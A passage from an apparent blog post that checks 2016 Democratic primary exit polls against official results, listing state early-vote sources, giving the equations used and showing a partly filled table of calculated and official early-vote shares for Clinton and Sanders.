<li><b>Michigan:</b> <a href="http://www.freep.com/story/news/politics/2016/03/08/michigan-presidential-primary-turnout/81502754/">News article about election</a>.</li>
<li><b>Missouri:</b> </li>
<li><b>Mississippi:</b> (<a href="http://www.theatlantic.com/politics/archive/2016/03/live-coverage-of-the-presidential-primaries/472731/">Article</a> gives total count, but not by party)</li>
<li><b>North Carolina:</b> Can be calculated based on <a href="http://www.newsobserver.com/news/politics-government/state-politics/article66053727.html">this news article</a>. We also have <a href="https://twitter.com/Nate_Cohn/status/709887845540995073">this tweet</a> to compare to.</li>
<li><b>New Hampshire:</b> <a href="http://sos.nh.gov/2016BallotsNamesPP.aspx?id=8589955209">Page on the SoS website</a> (not calculated yet).</li>
<li><b>New York: </b>Certification currently delayed</li>
<li><b>Ohio: </b><a href="http://www.sos.state.oh.us/sos/mediaCenter/2016/2016-03-14-a.aspx">Ohio SoS's report the night before the election</a>.</li>
<li><b>Oklahoma: </b><a href="https://www.ok.gov/elections/support/ok_results_seb.html">Oklahoma's results page</a>, which also tells us the official breakdown of early votes.</li>
<li><b>Pennsylvania: </b></li>
<li><b>South Carolina: </b>According to <a href="http://www.enr-scvotes.org/SC/59277/162732/en/vts.html?cid=103">their results</a>, all votes were cast on election day. But the total number of election day votes doesn't equal the total vote count, so I assumed the difference was early votes.</li>
<li><b>Tennessee: </b><a href="http://tnsos.org/elections/ElectionData/20160301EarlyVotersDisplay.php">Page on the SoS website</a>.</li>
<li><b>Texas:</b> From the SoS website. Early voting went through Feb 26, and they have the <a href="http://www.sos.state.tx.us/ELECTIONS/earlyvoting/2016/feb26.shtml">cumulative totals per-county, per-party</a>.</li>
<li><b>Virginia: </b></li>
<li><b>Vermont: </b></li>
<li><b>Wisconsin: </b></li>
</ul>
<div>
<br /></div>
</div>
<h2>
0% of the early vote counted</h2>
<div>
Let’s start by assuming no early/absentee voting is counted in the exit polls. The basic idea to verify this is simple:<br />
<ul>
<li>Calculate the number of early votes and election day votes</li>
<li>Proportion the election day votes by exit poll results</li>
<li>Determine what percentage of early votes would be needed to meet official results</li>
<li>See if that's reasonable, using known early vote counts and common sense</li>
</ul>
<div>
<ul>
</ul>
<div>
One we have all the data, we can do a bit of math. Here are the variables we're working with:</div>
</div>
<div>
<ul>
<li><b>EPC:</b> Clinton's share in exit polls</li>
<li><b>EPS:</b> Sanders' share in exit polls</li>
<li><b>OC: </b>Clinton's share in official results</li>
<li><b>OS:</b> Sanders' share in official results</li>
<li><b>VT:</b> Total number of votes cast</li>
<li><b>VE:</b> Number of early/absentee votes cast</li>
</ul>
<div>
We assume the election day votes match the exit polls, and see what the early vote needs to be for the total count to match official results. Here are the equations we get:</div>
<div>
<ul>
<li>OC * VT = (EPC * (VT - VE)) + (x * VE)</li>
<li>OS * VT = (EPS * (VT - VE)) + (y * VE)</li>
</ul>
<div>
We can solve for x and y to get x% Clinton early votes and y% Sanders early votes. Here are the results of those numbers, calculated from <a href="https://docs.google.com/spreadsheets/d/1oCRbFDCiwKy7jTi4sMnM0W6B09lQT5AE1yj0rtabPAk/edit#gid=1723584236">my spreadsheet</a>:</div>
</div>
</div>
</div>
<div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoNormalTable" style="border-collapse: collapse; border: none; mso-border-alt: solid #CCCCCC .75pt; mso-padding-alt: 0in 0in 0in 0in; mso-yfti-tbllook: 1184;">
<tbody>
<tr style="height: 27.0pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0;">
<td style="background: white; border-right: solid #CCCCCC 1.0pt; border: solid #E7E7E7 1.5pt; height: 27.0pt; mso-border-alt: solid #E7E7E7 1.5pt; mso-border-right-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">State<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: solid #CCCCCC 1.0pt; height: 27.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">Calculated Clinton EV share<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: solid #CCCCCC 1.0pt; height: 27.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">Calculated Sanders EV share<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-left: none; border: solid #CCCCCC 1.0pt; height: 27.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-left-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">Official Clinton EV share<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-left: none; border: solid #CCCCCC 1.0pt; height: 27.0pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-left-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">Official Sanders EV share<o:p></o:p></span></b></div>
</td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 1;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">AR<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">68.56%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">23.98%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">69.31%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">27.17%<o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 3;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">CT<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">96.58%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">21.47%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 4;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">FL<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">65.12%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">30.86%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 5;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">GA<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">95.73%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">7.15%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">77.91%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">21.55%<o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 6;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">IN<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">61.55%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">38.45%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 7;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">MD<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">59.07%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">34.86%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">66.37%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">30.52%<o:p></o:p></span></div>
</td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 8;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">MI<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">57.79%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">39.90%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 9;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">NC<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">56.52%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">38.47%<o:p></o:p></span></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"></td>
</tr>
<tr style="height: 15.75pt; mso-yfti-irow: 10;">
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: solid #E7E7E7 1.5pt; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-bottom-alt: #E7E7E7 1.5pt; mso-border-left-alt: #E7E7E7 1.5pt; mso-border-right-alt: #CCCCCC .75pt; mso-border-style-alt: solid; mso-border-top-alt: #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
<b><span style="color: #444444; font-family: "arial" , "sans-serif"; font-size: 10.0pt;">OH<o:p></o:p></span></b></div>
</td>
<td style="background: white; border-bottom: solid #E7E7E7 1.5pt; border-left: none; border-right: solid #CCCCCC 1.0pt; border-top: none; height: 15.75pt; mso-border-alt: solid #CCCCCC .75pt; mso-border-bottom-alt: solid #E7E7E7 1.5pt; mso-border-left-alt: solid #CCCCCC .75pt; mso-border-top-alt: solid #CCCCCC .75pt; padding: 0in 2.25pt 0in 2.25pt;" valign="bottom"><div class="MsoNormal" style="margin-bottom: 0.0001pt;">
